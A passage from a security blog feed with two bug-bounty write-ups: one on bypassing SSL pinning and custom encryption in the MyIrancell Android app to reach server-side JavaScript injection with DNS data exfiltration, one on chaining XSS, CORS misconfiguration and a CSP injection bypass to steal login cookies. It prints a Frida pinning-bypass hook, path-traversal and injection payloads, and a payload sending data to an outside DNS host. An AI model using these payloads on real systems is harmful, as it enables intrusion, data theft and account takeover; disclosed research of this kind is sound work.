<p>One of the most bold topics in mobile application penetration tests is figuring out how to capture traffic. This is not a big deal in web applications (sometimes it is; for example, the user panel on amazon.com is heavily protected against <a target="_blank" href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">MITM</a> with BurpSuite), but overall, 99% of websites allow MITM when you install your own certificate as RCA, so it can sign other websites' certificates, making MITM not an issue. However, in mobile applications, the story is totally different.</p>
<p>Before going through it, let me clarify that I conducted all tests on this APK, which was the latest version at the time of hunting. There are many methods to disable an SSL pinning mechanism in mobile applications. I personally prefer the <a target="_blank" href="https://frida.re">Frida</a> tool, which is a handy tool to hook classes and functions at runtime. I’ve been using the following code to bypass SSL pinning:</p>
<pre><code class="lang-javascript">    <span class="hljs-keyword">var</span> array_list = Java.use(<span class="hljs-string">"java.util.ArrayList"</span>);
    <span class="hljs-keyword">var</span> ApiClient = Java.use(<span class="hljs-string">'com.android.org.conscrypt.TrustManagerImpl'</span>);
    ApiClient.checkTrustedRecursive.implementation = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">a1,a2,a3,a4,a5,a6</span>) </span>{
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Bypassing SSL Pinning'</span>);
        <span class="hljs-keyword">var</span> k = array_list.$new(); 
        <span class="hljs-keyword">return</span> k;
    }
</code></pre>
<p>It's universal and works in every application. The bypass works by intercepting and hooking the certificate validation process. Since the method returns an empty or "trusted" list without performing any actual certificate checks, it tricks the application into believing the SSL/TLS connection is secure. Before hooking, I ran <a target="_blank" href="https://www.genymotion.com">Genymotion</a>, installed MyIrancell, set up the BurpSuite proxy in the virtual Android machine (I cannot remember the version; it was API 31 or something), and I could easily capture the traffic. Surprisingly, the MyIrancell application wasn’t applying an SSL pinning mechanism. Why did the application behave like this? The answer is in the traffic:</p>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/webaxn/webaxn?group=selfcare</span> HTTP/1.1
<span class="hljs-attribute">Accept-Encoding</span>: gzip, deflate
<span class="hljs-attribute">Content-Type</span>: application/vnd.wap.wbxml
<span class="hljs-attribute">IMEI</span>: 000000000000000
<span class="hljs-attribute">os_version</span>: 21
<span class="hljs-attribute">User-Agent</span>: 2.2.1.10995/android
<span class="hljs-attribute">x-user-agent</span>: 2.2.1.10995/android
<span class="hljs-attribute">x-device-ip</span>: 10.0.3.15
<span class="hljs-attribute">X-Cookie</span>: 1.5961535400767.32.8a42e69d7c531b0f.18c7a3256fbe09d4.72505fdbef3b508b0a899e3ce6f44f6883fb7767
<span class="hljs-attribute">DENSITY</span>: 4.0;640
<span class="hljs-attribute">Host</span>: myirancell.irancell.ir
<span class="hljs-attribute">Connection</span>: close
<span class="hljs-attribute">Content-Length</span>: 240

<span class="apache"><span class="hljs-attribute">J</span>l¹H¾ö ¿Û§ù·fõõý«ÏÙOü¾Z&lt;÷ïËµ¢ð%<span class="hljs-number">8</span>B`T£±óc#zÁSBôJ.Vqß]»<span class="hljs-number">3</span>©Ïýý;%õ`ZQT^ÈÙ'º<span class="hljs-number">1</span>­Ùçîkê±âÒuhÓÅ¢±¯üÂ­Ætf=bÙÛ#Ü<span class="hljs-number">1</span>Â ÉGhÇCB-ÆZßµ¸û&lt;¦Â_Ag»vyùÇs&lt;g¢È®½î.®&gt;<span class="hljs-number">82</span>ACTnHJ¿O <span class="hljs-number">2</span>õítæwõ]=Jêºä·Áá¸«ÐÅ$vïym<span class="hljs-number">9</span>KÌ<span class="hljs-number">2</span>BxÀéê+îµ²i<span class="hljs-number">4</span>Nd·U-Ú</span>
</code></pre>
<h2 id="heading-decrypting-the-traffic">Decrypting the Traffic</h2>
<p>As observed, the traffic is not in plain text. They knew SSL pinning is not a strong fortress, so they applied an extra layer—a custom encryption—to resist traffic interception:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731526289672/b71c10be-682c-42f9-b94d-cbaa048797c4.png" alt class="image--center mx-auto" /></p>
<p>The first assumption here is that the body is encrypted by a symmetric algorithm, and the key is exchanged at the beginning of the connection and stored somewhere in the user's mobile, or it’s sent along with each HTTP request so the client can decrypt the message. Furthermore, the <code>X-Cookie</code> header was strongly eye-catching for me, and I was sure that it’s related to the encryption system.</p>
<blockquote>
<p>How do I know this? How can I make these assumptions? The answer is: experience. The more mobile applications you pentest, the higher the chance of making correct assumptions. Furthermore, do not forget to follow the <a target="_blank" href="https://en.wikipedia.org/wiki/Occam%27s_razor">Occam’s Razor</a> principle in daily hacking</p>
</blockquote>
<p>Here I reached a "looking for a needle in a haystack" situation, the most difficult part in mobile penetration testing. I have an old-school trick which I've been using for many years: hooking all strings!</p>
<p>Out of context, I use this technique for web applications too. It lets me extract all URLs that are built at runtime in SPAs. Let's get back to our topic. I launched the application and attached the script above using <a target="_blank" href="https://github.com/VoorivexTeam/from-an-Android-Hook-to-RCE-5000-bounty/blob/main/hooks/frida-handler.py">a handy Python script</a>.</p>
<p>I spent a day understanding the overall flow of the mobile application. It's challenging to determine the exact flow, but getting a general idea is possible. This process can't be documented as a step-by-step checklist or manual. You need to explore the code to trace things, which I refer to as 'hanging out in the app'; Eventually, I arrived at the following stack trace:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731575599360/2c88c5d3-cee4-48bf-a9bf-aeefd1015d47.png" alt class="image--center mx-auto" /></p>
<p>The <code>a()</code> method was clearly an encryption/decryption method. Here, I used another approach to overcome the encryption: <a target="_blank" href="https://github.com/VoorivexTeam/from-an-Android-Hook-to-RCE-5000-bounty/blob/main/hooks/aes-final.py">a universal AES hooker</a>! Similar to the string hooker, the AES hooker script can effectively hook any Android app that uses AES through Java’s Cipher class for encryption or decryption. Remember that if an app performs AES operations in the native layer (using C/C++ libraries), this script won’t capture those calls. For full coverage, you would need additional hooks targeting native code. The result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731338948209/040af8ee-fd1f-486e-b97f-e55c906796f2.png" alt class="image--center mx-auto" /></p>
<p>As shown in the image, I could reach the plain text version of the traffic. However, it does not look like plain text; some printable and non-printable characters are mixed:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731340706988/d35ba323-a989-4e1d-8c03-e512d036cdf1.png" alt class="image--center mx-auto" /></p>
<p>Taking a closer look reveals some patterns:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731340667725/5c7bc640-1e22-443c-a4e8-0033b3a26a13.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-encryption-system">Encryption System</h2>
<p>Reaching this phase, I decided to spend more time reading the source code and hooked over 100 functions and classes to figure out what is going on here. Digging more, I ultimately solved the mystery behind the encryption system as well as the custom <code>X-Cookie</code> header. The results:</p>
<blockquote>
<p>There is a key exchange protocol (custom protocol). At the beginning of the connection, the server sends a <strong>key</strong> and <strong>session id</strong> to the client, and the next packets are encrypted by <strong>the key.</strong> The key is bound to the user’s session id.</p>
</blockquote>
<p>But the exchange is more complicated. Before going through the flow, I should explain how the <code>X-Cookie</code> works; it could only have two values:</p>
<pre><code class="lang-plaintext">X-Cookie: 1.7a1f20f920dc6bafdbaefa8d459e4b61755f8492
X-Cookie: 1.11544591529526.32.a84f9b13d70e65c2.21dc586f490a73be.7d23ab449aa2061dc1a190f0d1d1e0e6f40a96e3
</code></pre>
<p>The first line is for when the key exchange is completed, and the permanent key is delivered and saved in the client. The second one is used in the key exchange phase, which I want to expand on a little bit more. Regardless of whether the server or client receives the HTTP packet, each performs a predefined action based on the HTTP body and <code>X-Cookie</code> values. Breaking the cookie into parts with an explanation:</p>
<ul>
<li><p><code>1</code>: nothing important, haven't figured out what it is</p>
</li>
<li><p><code>11544591529526</code>: KEY1, a temporary key seed. The temporary key is created using this seed</p>
</li>
<li><p><code>32</code>: KEY2, the main key length, which is embedded at the beginning of every HTTP body which is used to decrypt whole HTTP body</p>
</li>
<li><p><code>a84f9b13d70e65c2</code>: IV1, an initial vector of the temporary key to decrypt first bytes (32) of the HTTP body to retrieve KEY2</p>
</li>
<li><p><code>21dc586f490a73be</code>: IV2, an initial vector of the main key to decrypt the whole HTTP body</p>
</li>
<li><p><code>7d23ab449aa2061dc1a190f0d1d1e0e6f40a96e3</code>: an HMAC to ensure that the body's integrity remains unchanged</p>
</li>
</ul>
<p>This flow is used to transfer data between the Client and the Server. It’s a network protocol, just guaranteeing the confidentiality and integrity of the data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731421840349/39f5cd29-bb0f-4d58-9349-f15fae391614.png" alt class="image--center mx-auto" /></p>
<p>Now let’s define the precise flow, which is shown below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731523262192/04db9692-42d2-4cb2-83bc-097abc9f1dfc.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>Initial Phase</strong> — The mobile application sends a semi-empty HTTP request to the server. The server responds with an encrypted body and an <code>X-Cookie</code> header. The client uses the <code>X-Cookie</code> to decrypt the body and save general configurations on the mobile</p>
</li>
<li><p><strong>Key Exchange Phase</strong> — The mobile application creates a random dummy key, places it in the body with an appropriate <code>X-Cookie</code> header, and sends it to the server. The server receives the packet, decrypts it using the <code>X-Cookie</code> mechanism, and retrieves the dummy key from it. Then the server generates a random permanent key, encrypts it with the dummy key that the client just sent in the request. The server also generates a session for the user, binds it to the permanent key, and responds to the client. The client then decrypts the response using the dummy key</p>
</li>
<li><p><strong>Interaction Phase</strong> — The rest of the connection is encrypted/decrypted by the permanent key, which turns into a shorter version that only contains a checksum</p>
</li>
</ul>
<h2 id="heading-encoding-issue">Encoding Issue</h2>
<p>I went through a long process. After intercepting the traffic, I tried to figure out the login mechanism. I entered my number in the login, an OTP was sent, and I entered it in the mobile UI, then searched the traffic for it. Despite my expectations, I found nothing and started thinking: what is going on here? Taking a closer look at the traffic revealed that there is an extra encoding. Here is the decrypted HTTP body for login:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731433157355/9d203a0b-c014-4c14-97a7-31c055e88ebf.png" alt class="image--center mx-auto" /></p>
<p>As observed, the phone number has changed into <code>4n5lcipUYfhzJ3QeTUVz</code>. It was not a big issue since I had been debugging the application for a few days.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731433460422/8fa7828f-e490-4d01-8c4e-16bbb76b1278.png" alt class="image--center mx-auto" /></p>
<p>Immediately, I started writing an encoder/decoder script. In those days, there was no ChatGPT, so I spent a few hours on it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731434015869/9c3e0158-2e4a-41f9-983b-255a4408392d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-vulnerability-discover">Vulnerability Discover</h2>
<p>I figured out how some key functions work, like the encryption system, key exchange, encoding functions, and session ID. After a long journey, I was eager to find server vulnerabilities. The most important part of bug bounty hunting is threat modeling. Almost all top hackers have this skill; they might not do it explicitly, but they do it intuitively. I focused on IDOR or BOLA, SQL Injection, and business logic issues because I could modify plain text traffic. How many hunters have reached this stage? I knew I was in the right place and would definitely find a bug there. I spent a few days but couldn't find any vulnerabilities. Imagine being in my position, spending many days dealing with technical challenges, reaching plain text traffic, doing lots of tests, and finding nothing :)</p>
<p>It was a key moment. I'm 36 years old and have been hacking for over 20 years. I'm pretty sure that bug bounty failures often stem from non-technical issues. I'm not dismissing knowledge issues, but the right mindset definitely outshines malicious payloads. Honestly, at that moment, I was totally frustrated. How could this be possible? Not even a single bug? I realized I needed to give myself some space. So, I stopped testing, quieted my brain monkey, and started working with a different approach. Remember, <strong>consistency</strong> is the key that opens every lock. I searched the internet for any helpful documents about the target and eventually found a WebAxn SDK manual. I carefully scanned the document and discovered that the server uses a headless browser. It opens HTML files, runs JavaScript functions, and returns results all on the server side. So, the flow was more complex:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731528570724/b3ff3827-b077-47ab-972c-0a0a9b995685.png" alt class="image--center mx-auto" /></p>
<p>Now let's look back at the HTTP packets:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731433157355/9d203a0b-c014-4c14-97a7-31c055e88ebf.png" alt class="image--center mx-auto" /></p>
<p>There is a pattern in it; can you spot it? Of course, once a puzzle is solved, it becomes clear. The pattern is:</p>
<pre><code class="lang-plaintext">wgt:[FILE_PATH]:FUNC(ARGS)
</code></pre>
<p>When an HTTP request reaches the server, the <code>[FILE_PATH]</code> is extracted, and a headless browser opens it. Then, <code>FUNC(ARGS)</code> is executed on the opened page. The first and immediate test was Local File Disclosure: I tried many vectors here, but again, nothing was found.</p>
<pre><code class="lang-plaintext">wgt:../../../../etc/hosts:FUNC(ARGS)
wgt:FUZZ.html:FUNC(ARGS)
wgt:/etc/passwd:FUNC(ARGS)
wgt:../../../../../etc/passwd
wgt:/etc/passwd
</code></pre>
<p>I also fuzzed the function name and parameters to create an unexpected error, but still nothing was gained. Another tricky test was changing the JavaScript function to something arbitrary, such as <code>console.log()</code>.</p>
<pre><code class="lang-plaintext">wgt:555510/1.0/logincrm.html:console.log(123)
wgt:555510/1.0/logincrm.html:document.write(123)
</code></pre>
<p>Didn't work. I felt there is a checker function there, checking whether the corresponding function is present in the file or not. If it is, then it's going to be executed. This is an assumption; I should have tested its validity. This process is called Blackbox penetration testing. You should continuously make assumptions and test them. So I kept trying to bypass the imaginary checker function. I tested:</p>
<pre><code class="lang-plaintext">logincrm.html:validateNumber($msisdn,'','N');document.write(123)
logincrm.html:document.write(123);validateNumber($msisdn,'','N')
</code></pre>
<p>Did not work again. I decided to skip the echo-based test and moved on to blind and out-of-band tests:</p>
<pre><code class="lang-plaintext">logincrm.html:window.location='https://a.tld/r/';validateNumber($msisdn,'','N')
logincrm.html:validateNumber($msisdn,'','N');window.location='https://a.tld/r/'
</code></pre>
<p>Where <code>https://a.tld/r/</code> was my web server. It didn't work again since I didn’t receive any HTTP logs at my web server. Before giving up, I accidentally checked my DNS server logs and, to my surprise, I saw DNS logs from the target! I checked it several times, and it was correct, so I crafted a malicious packet:</p>
<pre><code class="lang-plaintext">["https",[location.pathname.split("/").join("zZ"),"75da75be5e3439e5d1ae.d.zhack.ca"].join(".")].join("://");validateNumber($msisdn,'','N')
</code></pre>
<p>I received DNS logs:</p>
<pre><code class="lang-plaintext">zZhomezZselfcarezZwebaxnzZwidgetszZwebaxnzZ555510zZ1.0zZlogincrm.html
</code></pre>
<p>Converting <code>zZ</code> to <code>/</code> reveals the full path:</p>
<pre><code class="lang-plaintext">/home/selfcare/webaxn/widgets/webaxn/555510/1.0/logincrm.html
</code></pre>
<h2 id="heading-why-dns">Why DNS?</h2>
<p>I was able to make out-of-band DNS requests and extract data through them. You might encounter a similar situation in your bug bounty or penetration testing projects.. Before diving into the technical details, we should address an important question: why did the server not initiate an HTTP request but did initiate a DNS request? The first thought might be a firewall, but that's not the case.</p>
<p>When it comes to HTTP, sensitive servers usually don't have an internet connection. Technically, they lack any network interface with public routes. There are intermediary servers that act as reverse proxies and have internet access. There can be several of these, but only the frontmost server should have internet access; in reality, firewalls serve as internet gatekeepers. These servers receive HTTP requests from clients and forward them to the correct server. For example, when you browse <code>https://ebanking.mamad.net</code>, you're communicating with a series of servers. The last server in this chain, which is the actual e-banking portal, doesn't have internet access. Here's a brief overview of this process:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731526603652/f88409ae-8862-4c4d-8b16-2541d8e18968.png" alt class="image--center mx-auto" /></p>
<p>Many enterprise companies, including Irancell, use Active Directory for domain management. Active Directory relies on Domain Name System (DNS) servers to help clients find domain controllers and for domain controllers to communicate with each other. It allows devices to locate services, servers, and resources within the AD network. In an Active Directory (AD) environment, it’s common to use two types of DNS servers:</p>
<ul>
<li><p><strong>Internal DNS Servers (within AD):</strong> These DNS servers are part of the AD infrastructure and handle DNS queries related to the internal network and AD services</p>
</li>
<li><p><strong>External DNS Servers (outside AD):</strong> External DNS servers handle public DNS queries, like requests to access websites or external resources on the internet</p>
</li>
</ul>
<p>But how do clients know which DNS server to send requests to? They don't. They simply make a DNS query to the internal DNS server within AD. If the record corresponds to an internal address, it handles it; otherwise, it forwards the DNS query outside:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731526723312/40ed2d68-f665-44e7-8e15-1d23347d3c81.png" alt class="image--center mx-auto" /></p>
<p>If a remote attacker can trick a vulnerable server inside AD into sending a DNS query to a domain they control, they will receive the query. This is called DNS data exfiltration. It doesn't matter if the target AD uses one or two DNS servers; if it forwards DNS queries, it is at risk. In my experience, many AD networks do not follow best practices and end up forwarding DNS traffic. The final flow that allowed me to exfiltrate data was:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731527462006/ec1ff65d-b7cb-4f4c-a014-fd0036a9204f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-dns-exfiltration">DNS Exfiltration</h2>
<p>DNS data exfiltration is a clever technique that uses the DNS protocol to secretly transfer sensitive data from a network to an external server controlled by an attacker. Despite the controlled environment in a lab, there are technical challenges in the real world, such as</p>
<ul>
<li><p>DNS queries have a limited length, so they are not suitable for transferring large amounts of data</p>
</li>
<li><p>DNS queries use UDP, which is not stateful, leading to potential packet loss</p>
</li>
<li><p>The data should be divided into small parts before sending, and then reassembled with full integrity after being received</p>
</li>
</ul>
<p>So, I created a simple, lightweight protocol to make sure I receive the data completely and accurately. The protocol works like this:</p>
<ul>
<li><p>Smashing Data — involves converting data bytes into corresponding Unicode characters, separated by a <code>dot</code>, and then breaking it into small parts with a fixed length (100 works well). This way, the data becomes a sequence of chunks</p>
</li>
<li><p>Initial Packet — This packet shows how many chunks of data there are. The server should expect to receive the exact number of chunks. It starts with the character <code>0</code> and includes a random number to prevent DNS caching</p>
</li>
<li><p>Data Packets — These packets contain data in Unicode format, allowing the transmission of binary data as well. Each query begins with the chunk number, followed by the data and a random number to prevent caching</p>
</li>
<li><p>Reassembling — The server receives data in chunks and checks if all chunks have been received. The number of chunks is known from the first packet. If any chunk is missing, the server is instructed to resend it and waits to receive it. Then, it reverses the initial process to reconstruct the data.</p>
</li>
</ul>
<p>Let me make an example. Suppose I want to transfer the data <code>Yashar Shahinzadeh, just for test :)</code> using the protocol I designed. Here's how it would work:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731528145371/c008c53e-4afd-4540-ade1-cefb123c4b18.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>I asked <a target="_blank" href="https://x.com/AmirMSafari">@AmirMSafari</a> to write a standalone exploit code that works universally. It generates code to be run on the server side and then receives the DNS via interaction. Currently, only JS code is supported, but PowerShell and Bash will be added soon</p>
</blockquote>
<h2 id="heading-post-exploitation">Post Exploitation</h2>
<p>I managed to execute JS code on the remote server and receive the results through the DNS channel, which was enough to earn a bounty. However, with prior notice to the vendor, I decided to go a bit further to show the real impact of the attack. Of course, I didn't go too far — just extracted a few key functions to demonstrate some attacks. First, I extracted the source code of functions. In NodeJS RCE, <a target="_blank" href="https://www.breachproof.net/blog/lethal-injection-how-we-hacked-microsoft-ai-chat-bot">attackers can use the <code>.toString()</code> function to view the source code</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731520146507/b84787bc-394b-4fa4-af90-eca439fdf1d2.png" alt class="image--center mx-auto" /></p>
<p>The image above shows a post-authentication feature. As you can see, it calls an internal web service without requiring authentication:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731528722015/9069399d-2f98-45c0-ae3e-6556735f407e.png" alt class="image--center mx-auto" /></p>
<p>This means I could directly call the internal web service via <code>XmlHttpRequest</code> class and bypass all security measures like authentication or authorization. For example, I could send a service SMS with the Irancell sender name:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731520438736/529f37db-c806-45a0-b185-c4ca51e747ad.png" alt class="image--center mx-auto" /></p>
<p>I continued developing the exploit code and added the following features:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731521259559/901e0c87-1c6c-4910-ab6e-da4c00bac3e8.png" alt class="image--center mx-auto" /></p>
<p>Video PoC demonstrating the vulnerabilit</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/HhwrOiw_htc">https://youtu.be/HhwrOiw_htc</a></div>
<p> </p>
<p>The story ends here. I hope you find this post useful. Thank you for taking the time to read it.</p>
]]></content:encoded></item><item><title><![CDATA[A Weird CSP Bypass led to $3.5k Bounty]]></title><description><![CDATA[Roughly 5 months ago, YShahinzadeh and I found an XSS vulnerability that had a weird CSP bypass leading to Account Takeover and received a $3500 bounty. The journey was quite interesting to me as it involved deep recon, reading many documents of the ...]]></description><link>https://blog.voorivex.team/a-weird-csp-bypass-led-to-35k-bounty</link><guid isPermaLink="true">https://blog.voorivex.team/a-weird-csp-bypass-led-to-35k-bounty</guid><category><![CDATA[csp bypass]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[account takeover]]></category><dc:creator><![CDATA[Omid Rezaei]]></dc:creator><pubDate>Wed, 23 Oct 2024 19:54:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729712527577/38febc46-1781-495b-afe7-860270563754.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Roughly 5 months ago, <a target="_blank" href="http://twitter.com/yshahinzadeh">YShahinzadeh</a> and I found an XSS vulnerability that had a weird CSP bypass leading to Account Takeover and received a $3500 bounty. The journey was quite interesting to me as it involved deep recon, reading many documents of the website, and facing a CSP bypass I had never seen before, so let's begin the writeup.</p>
<h2 id="heading-recon">Recon</h2>
<p>After doing common tasks like subdomain enumeration, I found a complex web application with many features that allowed users to set up their own e-commerce sites. Working on and setting up the website was quite difficult, as I couldn't create a valid e-commerce site within several hours. This was a critical moment because many hunters may drop the target when they encounter complexity or a difficult registration or setup process. However, I chose to spend some time here, and it worked!</p>
<p>So I started reading many documents and watching the company's YouTube videos to figure out how I could make my website with a subdomain on the platform. For example, I could set up a website like <code>evil.freehost-target.com</code>.</p>
<h2 id="heading-analyzing-the-target">Analyzing the Target</h2>
<p>Usually, in companies that allow users to set up their own websites, XSS is not an issue since they allocate a completely different domain to users. For example, the <a target="_blank" href="https://hackerone.com/hostinger">Hostinger</a> program on H1 has a main domain <code>hostinger.com</code>, but the user free hosting is set up on <code>*.000webhost.com</code>. According to this fact, these companies let users upload arbitrary JavaScript code, resulting in XSS, or better to say, a useless XSS as it isn't exploitable. In our target, we had the same situation; we could trigger XSS, but we couldn't use it in any way.</p>
<p>I kept this in mind: I have a useless XSS in a useless subdomain. I didn't stop hunting; it's very important not to fall into the rabbit hole and always try to explore different parts of the target. Consequently, I found an interesting API call on the company's main website. The API call response included user PII data and an Authentication Cookie (I know it's not common to return an authentication cookie in a JSON object).</p>
<p>Immediately I tested the API for CORS misconfigurations and noticed that it allowed access from <code>*.freehost-target.com</code>, potentially opening it up to security risks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708566998007/1e7102e5-db3b-4040-8a21-fc712b0191f2.png" alt class="image--center mx-auto" /></p>
<p>I had two flaws (or not even flaws?) here:</p>
<ul>
<li><p>a useless XSS in <code>*.freehost-target.com</code></p>
</li>
<li><p>a sensitive API that had <code>*.freehost-target.com</code> in its trusted domains</p>
</li>
</ul>
<p>Most of you can see the vulnerability here, chaining up two flaws to steal other users' information and authentication cookies. However, it couldn't happen, and the important question is: WHY?</p>
<p>I created a page with malicious JavaScript code to send an authenticated HTTP request on behalf of the victim to the sensitive API, aiming to capture the victim's authentication cookie. Everything was okay until I realized that I didn't receive the authentication cookie. Digging more into the exploit code and the traffic led me to find out that there is a <code>connect-src</code> CSP header (read more about it <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src">here</a>) preventing the victim from sending the HTTP request to the sensitive endpoint (let’s call it cookie-endpoint )</p>
<p>The attack scenario:</p>
<ol>
<li><p>Set up a malicious website, like <code>evil.freehost-target.com</code></p>
</li>
<li><p>Trick a victim into opening <code>evil.freehost-target.com</code> while they are logged in to the main website</p>
</li>
<li><p>JS code → send an authenticated HTTP request to the <code>https://mainsite/cookie-endpoint</code> and capture the response, which contains the authentication cookie → FAILED because of the CSP rules</p>
</li>
<li><p>JS code → sending the victim's data to the attacker's website. → We couldn’t exfiltrate data directly due to CSP → FAILED</p>
</li>
</ol>
<h2 id="heading-csp-rules">CSP Rules</h2>
<p>The CSP rules of the main domain were something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708571822784/d23f2c93-6943-47ad-8c82-615d1525e82e.png" alt class="image--center mx-auto" /></p>
<p>As seen, the <code>https://mainsite/cookie-endpoint</code> is not on the whitelist, so I couldn't force the victim to send the request to that endpoint and get the Auth Cookie. I tried different ways to get bypass the CSP rules but I couldn't find anything, so I started the collaboration with <a target="_blank" href="http://twitter.com/yshahinzadeh">YShahinzadeh</a>. Eventually, we found out that the website owner could add trusted websites in the CSP rules:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708575284344/930f850e-94ba-4f33-bfd5-7fe49741defd.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708593654765/965a6ac7-9d2b-4576-baf1-59ea49b3604f.png" alt class="image--center mx-auto" /></p>
<p>This is the response we received when we added a website <code>https://mainsite/cookie-endpoint</code> to the Trusted Sites list</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729713077043/99779a88-2bce-4bf9-93b9-fb3f0ed27e28.png" alt class="image--center mx-auto" /></p>
<p>Unfortunately, as shown in the image, our trusted website was added to the <code>script-src</code> directive value. We could load remote scripts from <code>https://mainsite/cookie-endpoint</code>, but we couldn't get the response and parse it to retrieve the Auth Cookie.</p>
<h2 id="heading-the-way-of-bypass">The Way of Bypass</h2>
<p>In the first step, we tried to break the meta tag to ignore <code>connect-src</code> the part:</p>
<pre><code class="lang-xml">https://mainsite/cookie-endpoint "&gt;<span class="hljs-comment">&lt;!--</span>
</code></pre>
<p>But it didn't work, and some restrictions on the server side stopped us here, since the <code>"</code> was filtered and we could not break it. Afterwards, we tried adding another directive such as <code>connect-src</code> to see how the website and browser would react:</p>
<pre><code class="lang-xml">https://mainsite/cookie-endpoint;%20connect-src
</code></pre>
<p>Resulted in:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"Content-Security-Policy"</span>
<span class="hljs-attr">content</span>=<span class="hljs-string">"defualt-src 'self';
connect-src 'self' https://evil.freehost-target.com;
script-src 'self' 'unsafe-eval' https://mainsite/cookie-endpoint; connect-src"</span>&gt;</span>
</code></pre>
<p>as you can see We were able to add a new CSP rule, In the next step, we added a payload like this to include the target in the new <code>connect-src</code>:</p>
<pre><code class="lang-xml">https://mainsite/cookie-endpoint;%20connect-src https://mainsite/cookie-endpoint;
</code></pre>
<p>Resulted in:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"Content-Security-Policy"</span>
<span class="hljs-attr">content</span>=<span class="hljs-string">"defualt-src 'self';
connect-src 'self' https://evil.freehost-target.com;
script-src 'self' 'unsafe-eval' https://mainsite/cookie-endpoint; 
connect-src https://mainsite/cookie-endpoint;"</span>&gt;</span>
</code></pre>
<p>This payload adds a new <code>connect-src</code> CSP rule at the end of the CSP. However, when we tried to execute the exploit, we got the connect-src CSP error again:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729712649413/37728f70-92c6-4c96-8224-83addd8f6a05.png" alt class="image--center mx-auto" /></p>
<p>I was a bit confused here! Why wasn't it working? To find the answer, we set up a simple test-bed to understand how the browser behaves in this situation.</p>
<p>After some testing, we noticed that the browser only applies the first CSP rule. For example, in this case, it only considers <code>connect-src 'self' https://evil.freehost-target.com;</code> as the CSP rule and ignores <code>connect-src https://mainsite/cookie-endpoint;</code></p>
<p>So, we paused because we ran out of testing ideas and weren't sure what to do next. We began trying some unconventional tests to understand what was happening in the backend code.</p>
<p>After some time, we noticed that when we added a new <code>connect-src</code> with a value from the default <code>connect-src</code>, the <code>connect-src</code> moved to the end of the tag, and the new one was added to the end of the CSP. Let's look at an example:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://evil.freehost-target.com;%20connect-src https://mainsite/cookie-endpoint;</span>
</code></pre>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"Content-Security-Policy"</span>
<span class="hljs-attr">content</span>=<span class="hljs-string">"defualt-src 'self';
script-src 'self' 'unsafe-eval' https://evil.freehost-target.com;
connect-src 'self' https://evil.freehost-target.com; https://mainsite/cookie-endpoint;"</span>&gt;</span>
</code></pre>
<p>Considering the response above, you can see that <code>https://mainsite/cookie-endpoint</code> is now added to the <code>connect-src</code> value. This allowed us to bypass the security measure successfully. As a result, the security barrier in the third part of the attack scenario was removed. We used the same technique to overcome the fourth part as well. By combining the out-of-scope XSS vulnerability, CORS misconfiguration, and CSP bypass, we successfully changed them together to obtain the victim's Authentication Cookie.</p>
<h2 id="heading-final-words">Final Words</h2>
<p>Understanding how things work is a crucial part of the hacking process, and you shouldn't limit yourself to predefined test cases or bug bounty tips. You should dive deep into an application, analyze its parts, and connect flaws to find significant vulnerabilities. Remember, every complex system is made up of small components, and these components can create inconsistencies and reveal different vulnerabilities. Thanks for reading, happy hacking! :)</p>
